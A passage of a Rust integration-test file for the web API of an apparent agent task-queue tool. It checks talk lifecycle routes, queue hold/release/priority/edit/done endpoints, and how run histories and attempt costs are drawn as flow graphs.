9133 assert_eq!(atts.len(), 1);
9134 assert_eq!(atts[0]["id"], att_id);
9135 assert_eq!(atts[0]["mime"], "image/png");
9136
9137 let on_disk = f.talks().get(&id).expect("get");
9140 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9141 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9142 }
9143
9144 #[tokio::test]
9145 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9146 let f = Fixture::start().await;
9147 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9148
9149 let res = f
9150 .post(
9151 &format!("/api/talks/{id}/say"),
9152 Some(&format!(
9153 r#"{{"text":"hi","attachments":["{}"]}}"#,
9154 "a".repeat(32)
9155 )),
9156 )
9157 .await;
9158 assert!((400..500).contains(&res.status), "{}", res.body);
9159 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9160
9161 let on_disk = f.talks().get(&id).expect("get");
9162 assert!(
9163 on_disk.turns.is_empty(),
9164 "a rejected attachment id must not partially record the turn: {:?}",
9165 on_disk.turns
9166 );
9167 }
9168
9169 #[tokio::test]
9170 async fn talk_close_makes_the_talk_refuse_further_turns() {
9171 let f = Fixture::start().await;
9172 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9173
9174 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9175 assert_eq!(closed.status, 200, "{}", closed.body);
9176 assert_eq!(closed.json()["status"], "closed");
9177
9178 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9180 assert_eq!(closed_again.status, 200);
9181 assert_eq!(closed_again.json()["status"], "closed");
9182
9183 let said = f
9184 .post(
9185 &format!("/api/talks/{id}/say"),
9186 Some(r#"{"text":"too late"}"#),
9187 )
9188 .await;
9189 assert_eq!(said.status, 409, "{}", said.body);
9190 }
9191
9192 #[tokio::test]
9193 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9194 let (_tmp, _repo, f) = talk_fixture().await;
9195 let id = f.post("/api/talks", None).await.json()["id"]
9196 .as_str()
9197 .expect("id")
9198 .to_owned();
9199 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9200 assert_eq!(closed.status, 200, "{}", closed.body);
9201
9202 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9203 assert_eq!(reopened.status, 200, "{}", reopened.body);
9204 assert_eq!(reopened.json()["status"], "open");
9205
9206 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9208 assert_eq!(reopened_again.status, 200);
9209 assert_eq!(reopened_again.json()["status"], "open");
9210
9211 let said = f
9212 .post(
9213 &format!("/api/talks/{id}/say"),
9214 Some(r#"{"text":"still there?"}"#),
9215 )
9216 .await;
9217 assert_eq!(
9218 said.status, 202,
9219 "a reopened talk accepts turns again: {}",
9220 said.body
9221 );
9222 }
9223
9224 #[tokio::test]
9225 async fn talk_reopen_on_an_unknown_id_is_404() {
9226 let f = Fixture::start().await;
9227 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9228 assert_eq!(res.status, 404, "{}", res.body);
9229 }
9230
9231 #[tokio::test]
9232 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9233 let f = Fixture::start().await;
9234 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9235
9236 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9237 assert_eq!(deleted.status, 204, "{}", deleted.body);
9238
9239 let after = f.get(&format!("/api/talks/{id}")).await;
9240 assert_eq!(after.status, 404, "{}", after.body);
9241
9242 let listed = f.get("/api/talks").await.json();
9243 assert!(
9244 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9245 "a deleted talk must not linger in the list: {listed}"
9246 );
9247 }
9248
9249 #[tokio::test]
9250 async fn talk_delete_on_an_unknown_id_is_404() {
9251 let f = Fixture::start().await;
9252 let res = f.delete("/api/talks/nonexistent-id").await;
9253 assert_eq!(res.status, 404, "{}", res.body);
9254 }
9255
9256 #[tokio::test]
9260 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9261 let f = Fixture::start().await;
9262 let (a, b, gone) = (
9263 "20260902-140501-aaaa",
9264 "20260902-140502-bbbb",
9265 "20260902-140503-cccc",
9266 );
9267 write_run(&f.runs(), a, RunStatus::Stalled);
9268 let mut review = RunState::new(
9269 PathBuf::from("/repo/magi"),
9270 "main".to_owned(),
9271 "0123456789abcdef".to_owned(),
9272 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9273 .to_owned(),
9274 Config::default(),
9275 );
9276 review.id = b.to_owned();
9277 review.status = RunStatus::Merged;
9278 write_state(&f.runs(), &review);
9279
9280 let mut task = Task::new(
9281 "retry".to_owned(),
9282 "Do the thing".to_owned(),
9283 PathBuf::from("/repo/magi"),
9284 Source::Human,
9285 );
9286 task.start(a.to_owned());
9287 task.stall("quota");
9288 task.start(a.to_owned());
9289 task.start(b.to_owned());
9290 task.start(gone.to_owned());
9291 f.queue().put(&mut task).expect("file the task");
9292
9293 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9294 assert_eq!(res.status, 200, "{}", res.body);
9295 let v = res.json();
9296 let h = v["history"].as_array().expect("history");
9297 assert_eq!(h.len(), 4, "{v}");
9298 assert_eq!(h[0]["kind"], "competition");
9299 assert_eq!(h[0]["status"], "stalled");
9300 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9301 assert_eq!(h[1]["kind"], "resume", "{v}");
9302 assert!(
9303 h[0]["outcome"]
9304 .as_str()
9305 .unwrap()
9306 .contains("unknown. Pass #2"),
9307 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9308 );
9309 assert!(
9310 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9311 "{v}"
9312 );
9313 assert!(
9314 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9315 "an unrecorded cause must not be narrated as an operator park: {v}"
9316 );
9317 assert_eq!(h[2]["kind"], "review");
9318 assert!(
9319 h[2]["description"]
9320 .as_str()
9321 .unwrap()
9322 .contains("magi/aaaa/A")
9323 );
9324 assert_eq!(h[2]["status"], "merged");
9325 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9326 assert_eq!(v["runs_unreadable"], 1);
9327 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9328 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9329 assert_eq!(nodes[4]["note"], "unreadable");
9330 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9331 assert_eq!(v["instruction"], "Do the thing");
9332 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9333
9334 let run = f.get(&format!("/api/runs/{a}")).await.json();
9336 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9337
9338 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9339 }
9340
9341 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9342 let mut s = RunState::new(
9343 PathBuf::from("/repo/magi"),
9344 "main".to_owned(),
9345 "0123456789abcdef".to_owned(),
9346 "Do it".to_owned(),
9347 Config::default(),
9348 );
9349 s.status = status;
9350 edit(&mut s);
9351 s
9352 }
9353
9354 fn flow_task(runs: &[&str]) -> Task {
9355 let mut t = Task::new(
9356 "t".to_owned(),
9357 "Do it".to_owned(),
9358 PathBuf::from("/repo/magi"),
9359 Source::Human,
9360 );
9361 for r in runs {
9362 t.start((*r).to_owned());
9363 }
9364 t
9365 }
9366
9367 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9368 let h = task_history(task, |id| {
9369 states
9370 .iter()
9371 .find(|(i, _)| *i == id)
9372 .and_then(|(_, s)| s.clone())
9373 });
9374 task_flow(task, &h, 5)
9375 }
9376
9377 #[test]
9378 fn flow_opens_with_the_chat_that_queued_the_task() {
9379 let mut t = flow_task(&[]);
9380 t.source = Source::Agent {
9381 run: "a b/c".to_owned(),
9382 node: crate::queue::CHAT_NODE.to_owned(),
9383 };
9384 let f = flow_for(&t, &[]);
9385 assert_eq!(f.nodes[0].key, "chat");
9386 assert_eq!(f.nodes[0].kind, "chat");
9387 assert_eq!(
9388 f.nodes[0].label,
9389 format!("Chat {}", crate::queue::short("a b/c"))
9390 );
9391 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9392 assert_eq!(f.nodes[1].key, "start");
9393 assert_eq!(
9394 f.edges[0],
9395 FlowEdge {
9396 from: "chat".to_owned(),
9397 to: "start".to_owned(),
9398 label: "queued from chat".to_owned(),
9399 attempt: AttemptCost::None,
9400 }
9401 );
9402 }
9403
9404 #[test]
9405 fn flow_has_no_chat_box_for_other_sources() {
9406 for source in [
9407 Source::Human,
9408 Source::Issue {
9409 number: 3,
9410 repo: "o/r".to_owned(),
9411 },
9412 Source::Agent {
9413 run: "20260904-014455-ab12".to_owned(),
9414 node: "implement".to_owned(),
9415 },
9416 ] {
9417 let mut t = flow_task(&[]);
9418 t.source = source;
9419 let f = flow_for(&t, &[]);
9420 assert_eq!(f.nodes[0].key, "start");
9421 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9422 assert!(f.edges.iter().all(|e| e.from != "chat"));
9423 }
9424 }
9425
9426 const FA: &str = "20260902-140501-aaaa";
9427 const FB: &str = "20260902-140502-bbbb";
9428
9429 #[test]
9430 fn flow_follows_blocked_retry_merged_to_done() {
9431 let mut t = flow_task(&[FA, FB]);
9432 t.status = TaskStatus::Done;
9433 let f = flow_for(
9434 &t,
9435 &[
9436 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9437 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9438 ],
9439 );
9440 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9441 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9442 assert_eq!(f.edges.len(), 3);
9443 assert_eq!(f.edges[0].label, "claimed");
9444 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9445 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9446 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9447 assert_eq!(
9448 f.nodes[2].href.as_deref(),
9449 Some("#/runs/20260902-140502-bbbb")
9450 );
9451 assert!(f.nodes[2].decided);
9452 }
9453
9454 #[test]
9455 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9456 let quota = || {
9457 flow_run(RunStatus::Stalled, |s| {
9458 s.quota.push(crate::run::QuotaLoss {
9459 seat: "judge-1".to_owned(),
9460 node: "judge".to_owned(),
9461 at: Timestamp::now(),
9462 reset: None,
9463 })
9464 })
9465 };
9466 let mut t = flow_task(&[FA, FA]);
9467 t.status = TaskStatus::Queued;
9468 let f = flow_for(&t, &[(FA, Some(quota()))]);
9469 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9470 assert_eq!(f.nodes[1].note, Some("interrupted"));
9471 assert_eq!(
9472 f.nodes[1].status, None,
9473 "no outcome copied onto an earlier pass"
9474 );
9475 assert_eq!(
9476 f.edges[1].attempt,
9477 AttemptCost::Unknown,
9478 "a resume does not prove the earlier pass was refunded"
9479 );
9480 assert!(f.edges[1].label.contains("resume the same run"));
9481 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9482 assert_eq!(
9483 f.edges[2].label,
9484 "stalled after a resume, refund unknown \u{2192} queued"
9485 );
9486 assert!(!f.nodes[2].decided, "a stall is not a decision");
9487 assert_eq!(f.nodes[2].note, Some("no verdict"));
9488 }
9489
9490 #[test]
9491 fn flow_single_pass_quota_stall_is_refunded() {
9492 let t = flow_task(&[FA]);
9493 let f = flow_for(
9494 &t,
9495 &[(
9496 FA,
9497 Some(flow_run(RunStatus::Stalled, |s| {
9498 s.quota.push(crate::run::QuotaLoss {
9499 seat: "judge-1".to_owned(),
9500 node: "judge".to_owned(),
9501 at: Timestamp::now(),
9502 reset: None,
9503 })
9504 })),
9505 )],
9506 );
9507 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9508 }
9509
9510 #[test]
9511 fn flow_parked_refunds_and_stall_without_quota_spends() {
9512 let mut t = flow_task(&[FA]);
9513 t.status = TaskStatus::Queued;
9514 let f = flow_for(
9515 &t,
9516 &[(
9517 FA,
9518 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9519 )],
9520 );
9521 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9522 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9523 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9524 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9525 assert!(!f.nodes[1].decided);
9526 }
9527
9528 #[test]
9529 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9530 let t = flow_task(&[FA, FB]);
9531 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9532 assert_eq!(f.nodes[1].note, Some("unreadable"));
9533 assert!(!f.nodes[1].readable);
9534 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9535 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9536 }
9537
9538 #[test]
9539 fn flow_names_the_branch_of_a_review_only_run() {
9540 let t = flow_task(&[FA]);
9541 let f = flow_for(
9542 &t,
9543 &[(
9544 FA,
9545 Some(flow_run(RunStatus::Merged, |s| {
9546 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9547 })),
9548 )],
9549 );
9550 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9551 assert_eq!(
9552 f.nodes[1].detail.as_deref(),
9553 Some("review-only run of branch magi/x/A")
9554 );
9555 }
9556
9557 #[test]
9558 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9559 let mut t = flow_task(&[FA]);
9560 t.status = TaskStatus::Held;
9561 let pr = crate::run::PrRecord {
9562 url: "https://example.test/pr/1".to_owned(),
9563 number: 1,
9564 state: "open".to_owned(),
9565 checks: "green".to_owned(),
9566 round: 0,
9567 rounds: 3,
9568 red_at_merge: Vec::new(),
9569 };
9570 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9571 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9572 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9573 t.status = TaskStatus::Done;
9574 let f = flow_for(&t, &[(FA, Some(blocked))]);
9575 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9576 }
9577
9578 #[test]
9579 fn flow_with_no_runs_goes_from_queued_to_queued() {
9580 let t = flow_task(&[]);
9581 let f = flow_for(&t, &[]);
9582 assert_eq!(f.nodes.len(), 2);
9583 assert_eq!(f.edges.len(), 1);
9584 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9585 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9586 }
9587
9588 #[test]
9591 fn a_parked_non_terminal_run_is_explained_as_parked() {
9592 let mut s = RunState::new(
9593 PathBuf::from("/repo/magi"),
9594 "main".to_owned(),
9595 "0123456789abcdef".to_owned(),
9596 "Do it".to_owned(),
9597 Config::default(),
9598 );
9599 s.status = RunStatus::Implementing;
9600 s.parked = true;
9601 let task = Task::new(
9602 "t".to_owned(),
9603 "Do it".to_owned(),
9604 PathBuf::from("/repo/magi"),
9605 Source::Human,
9606 );
9607 let v = task_run_view(
9608 "20260902-140501-aaaa",
9609 Some(&s),
9610 RunSlot {
9611 n: 1,
9612 resumed: false,
9613 resumed_later: None,
9614 prior: None,
9615 last: true,
9616 },
9617 &task,
9618 );
9619 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9620 }
9621
9622 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9623 let mut s = flow_run(RunStatus::Implementing, edit);
9624 s.parked = false;
9625 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9626 task_run_view(
9627 "20260902-140501-aaaa",
9628 Some(&s),
9629 RunSlot {
9630 n: 1,
9631 resumed: false,
9632 resumed_later: Some(2),
9633 prior: None,
9634 last: false,
9635 },
9636 &task,
9637 )
9638 }
9639
9640 #[test]
9641 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9642 let v = earlier_pass_view(|_| {});
9643 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9644 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9645 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9646 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9647 assert_eq!(v.exit, RunExit::Interrupted);
9648 assert_eq!(v.attempt, AttemptCost::Unknown);
9649 }
9650
9651 #[test]
9652 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9653 let v = earlier_pass_view(|s| {
9654 s.quota.push(crate::run::QuotaLoss {
9655 seat: "judge-1".to_owned(),
9656 node: "judge".to_owned(),
9657 at: Timestamp::now(),
9658 reset: None,
9659 });
9660 });
9661 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9662 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9663 assert_eq!(v.attempt, AttemptCost::Unknown);
9664 }
9665
9666 #[test]
9667 fn the_current_pass_states_its_recorded_cause_and_cost() {
9668 let slot = || RunSlot {
9669 n: 1,
9670 resumed: false,
9671 resumed_later: None,
9672 prior: None,
9673 last: true,
9674 };
9675 let task = flow_task(&["20260902-140501-aaaa"]);
9676 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9677 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9678 assert_eq!(
9679 (v.exit, v.attempt),
9680 (RunExit::Parked, AttemptCost::Refunded)
9681 );
9682 let spent = flow_run(RunStatus::Blocked, |_| {});
9683 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9684 assert_eq!(v.attempt, AttemptCost::Spent);
9685 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9686 }
9687
9688 #[tokio::test]
9689 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9690 let f = Fixture::start().await;
9691 let queue = f.queue();
9692 let mut task = Task::new(
9693 "spent".to_owned(),
9694 "Try again".to_owned(),
9695 PathBuf::from("/repo/magi"),
9696 Source::Human,
9697 );
9698 task.start("20260902-140502-bbbb".to_owned());
9699 task.fail("agent gave up", 9);
9700 queue.put(&mut task).expect("file the task");
9701
9702 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9703 assert_eq!(held.status, 200);
9704 assert_eq!(held.json()["status_str"], "held");
9705
9706 let released = f
9707 .post(&format!("/api/queue/{}/release", task.id), None)
9708 .await;
9709 assert_eq!(released.status, 200);
9710 assert_eq!(released.json()["status_str"], "queued");
9711 assert_eq!(
9712 released.json()["attempts"],
9713 0,
9714 "release is a real second chance, not an instant re-hold"
9715 );
9716 assert_eq!(
9717 queue.get(&task.id).expect("reload").status,
9718 TaskStatus::Queued,
9719 "the change is on disk, not only in the reply"
9720 );
9721 assert!(
9722 !f.home
9723 .path()
9724 .join("queue")
9725 .join(format!("{}.lock", task.id))
9726 .exists(),
9727 "the claim the mutation took is released again"
9728 );
9729 }
9730
9731 #[tokio::test]
9732 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9733 let f = Fixture::start().await;
9734 let queue = f.queue();
9735 let mut task = Task::new(
9736 "busy".to_owned(),
9737 "Running right now".to_owned(),
9738 PathBuf::from("/repo/magi"),
9739 Source::Human,
9740 );
9741 queue.put(&mut task).expect("file the task");
9742 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9743
9744 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9745
9746 assert_eq!(res.status, 409);
9747 assert_eq!(
9748 queue.get(&task.id).expect("reload").status,
9749 TaskStatus::Queued,
9750 "the refused hold changed nothing"
9751 );
9752 }
9753
9754 #[tokio::test]
9755 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9756 let f = Fixture::start().await;
9757 let queue = f.queue();
9758 let mut task = Task::new(
9759 "waiting on the migration".to_owned(),
9760 "Do the thing".to_owned(),
9761 PathBuf::from("/repo/magi"),
9762 Source::Human,
9763 );
9764 queue.put(&mut task).expect("file the task");
9765
9766 let held = f
9767 .post(
9768 &format!("/api/queue/{}/hold", task.id),
9769 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9770 )
9771 .await;
9772 assert_eq!(held.status, 200, "{}", held.body);
9773 assert_eq!(held.json()["status_str"], "held");
9774 assert_eq!(
9775 held.json()["hold_reason"],
9776 "waiting for 20260101-000000-aaaa to land"
9777 );
9778
9779 let listed = f.get("/api/queue").await.json();
9780 assert_eq!(
9781 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9782 "the card reads the reason off the same list route"
9783 );
9784
9785 let mut plain = Task::new(
9788 "no reason given".to_owned(),
9789 "Do another thing".to_owned(),
9790 PathBuf::from("/repo/magi"),
9791 Source::Human,
9792 );
9793 queue.put(&mut plain).expect("file the task");
9794 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9795 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9796 assert!(held_plain.json()["hold_reason"].is_null());
9797
9798 let released = f
9799 .post(&format!("/api/queue/{}/release", task.id), None)
9800 .await;
9801 assert_eq!(released.status, 200);
9802 assert!(
9803 released.json()["hold_reason"].is_null(),
9804 "a release must clear the reason so the next hold does not inherit it"
9805 );
9806 }
9807
9808 #[tokio::test]
9809 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9810 let f = Fixture::start().await;
9811 let queue = f.queue();
9812 let mut older = Task::new(
9813 "filed first".to_owned(),
9814 "x".to_owned(),
9815 PathBuf::from("/repo/magi"),
9816 Source::Human,
9817 );
9818 older.id = "20260101-000001-aaaa".to_owned();
9819 let mut newer = Task::new(
9820 "filed second".to_owned(),
9821 "x".to_owned(),
9822 PathBuf::from("/repo/magi"),
9823 Source::Human,
9824 );
9825 newer.id = "20260101-000002-bbbb".to_owned();
9826 queue.put(&mut older).expect("file older");
9827 queue.put(&mut newer).expect("file newer");
9828
9829 let before = f.get("/api/queue").await.json();
9832 assert_eq!(before[0]["id"], newer.id);
9833 assert_eq!(before[1]["id"], older.id);
9834
9835 let raised = f
9839 .post(
9840 &format!("/api/queue/{}/priority", older.id),
9841 Some(r#"{"priority":10}"#),
9842 )
9843 .await;
9844 assert_eq!(raised.status, 200, "{}", raised.body);
9845 assert_eq!(raised.json()["priority"], 10);
9846
9847 let after = f.get("/api/queue").await.json();
9848 let names: Vec<&str> = after
9849 .as_array()
9850 .unwrap()
9851 .iter()
9852 .map(|t| t["id"].as_str().unwrap())
9853 .collect();
9854 assert_eq!(names[0], older.id, "the raised task now sorts first");
9858 }
9859
9860 #[tokio::test]
9861 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9862 let f = Fixture::start().await;
9863 let queue = f.queue();
9864 let mut task = Task::new(
9865 "in flight".to_owned(),
9866 "x".to_owned(),
9867 PathBuf::from("/repo/magi"),
9868 Source::Human,
9869 );
9870 task.start("20260902-140502-bbbb".to_owned());
9871 queue.put(&mut task).expect("file the task");
9872
9873 let res = f
9874 .post(
9875 &format!("/api/queue/{}/priority", task.id),
9876 Some(r#"{"priority":9}"#),
9877 )
9878 .await;
9879 assert_eq!(res.status, 400, "{}", res.body);
9880 assert!(
9881 res.json()["error"]
9882 .as_str()
9883 .is_some_and(|e| e.contains("running")),
9884 "{}",
9885 res.body
9886 );
9887 assert_eq!(
9888 queue.get(&task.id).expect("reload").priority,
9889 0,
9890 "the refused write must not partially apply"
9891 );
9892 }
9893
9894 #[tokio::test]
9895 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9896 let f = Fixture::start().await;
9897 let queue = f.queue();
9898 let mut task = Task::new(
9899 "old title".to_owned(),
9900 "old instruction".to_owned(),
9901 PathBuf::from("/repo/magi"),
9902 Source::Agent {
9903 run: "20260101-000000-beef".to_owned(),
9904 node: "implement".to_owned(),
9905 },
9906 );
9907 task.runs.push("20260101-000000-beef".to_owned());
9908 queue.put(&mut task).expect("file the task");
9909 let created_at = task.created_at;
9910
9911 let edited = f
9912 .post(
9913 &format!("/api/queue/{}/edit", task.id),
9914 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9915 )
9916 .await;
9917 assert_eq!(edited.status, 200, "{}", edited.body);
9918 let body = edited.json();
9919 assert_eq!(body["title"], "new title");
9920 assert_eq!(body["instruction"], "new instruction");
9921 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9922 assert_eq!(body["created_at"], created_at.to_string());
9923 assert_eq!(
9924 body["source"]["kind"], "agent",
9925 "editing a task an agent filed must not turn it human: {body}"
9926 );
9927 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9928
9929 let reloaded = queue.get(&task.id).expect("reload");
9930 assert_eq!(reloaded.title, "new title");
9931 assert_eq!(reloaded.instruction, "new instruction");
9932 }
9933
9934 #[tokio::test]
9935 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9936 let tmp = TempDir::new().expect("tempdir");
9939 let repo = tmp.path().join("repo");
9940 std::fs::create_dir_all(&repo).expect("repo dir");
9941 let judge = MOCK_AGENT_TOML.replace(
9942 "printf ok",
9943 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
9944 );
9945 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
9946 let f = Fixture::with_repo(repo.clone()).await;
9947 let queue = f.queue();
9948 let mut owner = Task::new(
9949 "owner".to_owned(),
9950 "review it".to_owned(),
9951 repo.clone(),
9952 Source::Human,
9953 );
9954 owner.review_branch = Some("magi/ab12/A".to_owned());
9955 queue.put(&mut owner).expect("file the owner");
9956 let mut task = Task::new(
9957 "draft".to_owned(),
9958 "old".to_owned(),
9959 repo.clone(),
9960 Source::Human,
9961 );
9962 queue.put(&mut task).expect("file the draft");
9963 let url = format!("/api/queue/{}/edit", task.id);
9964
9965 let refused = f
9966 .post(
9967 &url,
9968 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9969 )
9970 .await;
9971 assert_eq!(refused.status, 409, "{}", refused.body);
9972 let msg = refused.json()["error"]
9973 .as_str()
9974 .unwrap_or_default()
9975 .to_owned();
9976 assert!(
9977 msg.contains("magi/ab12/A") && msg.contains("force"),
9978 "{msg}"
9979 );
9980 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9981
9982 let forced = f
9983 .post(
9984 &url,
9985 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9986 )
9987 .await;
9988 assert_eq!(forced.status, 200, "{}", forced.body);
9989 }
9990
9991 #[tokio::test]
9992 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9993 let f = Fixture::start().await;
9994 let queue = f.queue();
9995 let mut task = Task::new(
9996 "in flight".to_owned(),
9997 "do not touch".to_owned(),
9998 PathBuf::from("/repo/magi"),
9999 Source::Human,
10000 );
10001 task.start("20260902-140502-bbbb".to_owned());
10002 queue.put(&mut task).expect("file the task");
10003
10004 let res = f
10005 .post(
10006 &format!("/api/queue/{}/edit", task.id),
10007 Some(r#"{"title":"x","instruction":"y"}"#),
10008 )
10009 .await;
10010 assert_eq!(res.status, 400, "{}", res.body);
10011 assert!(
10012 res.json()["error"]
10013 .as_str()
10014 .is_some_and(|e| e.contains("running")),
10015 "{}",
10016 res.body
10017 );
10018 assert_eq!(
10019 queue.get(&task.id).expect("reload").instruction,
10020 "do not touch",
10021 "the refused edit must not change the file"
10022 );
10023 }
10024
10025 #[tokio::test]
10026 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10027 let f = Fixture::start().await;
10028 let queue = f.queue();
10029 let mut task = Task::new(
10030 "busy".to_owned(),
10031 "Running right now".to_owned(),
10032 PathBuf::from("/repo/magi"),
10033 Source::Human,
10034 );
10035 queue.put(&mut task).expect("file the task");
10036 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10037
10038 let priority = f
10039 .post(
10040 &format!("/api/queue/{}/priority", task.id),
10041 Some(r#"{"priority":9}"#),
10042 )
10043 .await;
10044 assert_eq!(priority.status, 409, "{}", priority.body);
10045
10046 let edit = f
10047 .post(
10048 &format!("/api/queue/{}/edit", task.id),
10049 Some(r#"{"title":"x","instruction":"y"}"#),
10050 )
10051 .await;
10052 assert_eq!(edit.status, 409, "{}", edit.body);
10053 }
10054
10055 #[tokio::test]
10056 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10057 let f = Fixture::start().await;
10058 let queue = f.queue();
10059 let mut task = Task::new(
10060 "shipped by hand".to_owned(),
10061 "merged outside the loop".to_owned(),
10062 PathBuf::from("/repo/magi"),
10063 Source::Agent {
10064 run: "20260101-000000-b455".to_owned(),
10065 node: "implement".to_owned(),
10066 },
10067 );
10068 task.runs.push("20260101-000000-b455".to_owned());
10069 task.runs.push("20260101-000000-9af4".to_owned());
10070 queue.put(&mut task).expect("file the task");
10071 let created_at = task.created_at;
10072
10073 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10074 assert_eq!(done.status, 200, "{}", done.body);
10075 assert_eq!(done.json()["status_str"], "done");
10076
10077 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10078 assert_eq!(
10079 reloaded.runs,
10080 ["20260101-000000-b455", "20260101-000000-9af4"]
10081 );
10082 assert_eq!(
10083 reloaded.source,
10084 Source::Agent {
10085 run: "20260101-000000-b455".to_owned(),
10086 node: "implement".to_owned(),
10087 }
10088 );
10089 assert_eq!(reloaded.created_at, created_at);
10090 }
10091
10092 #[tokio::test]
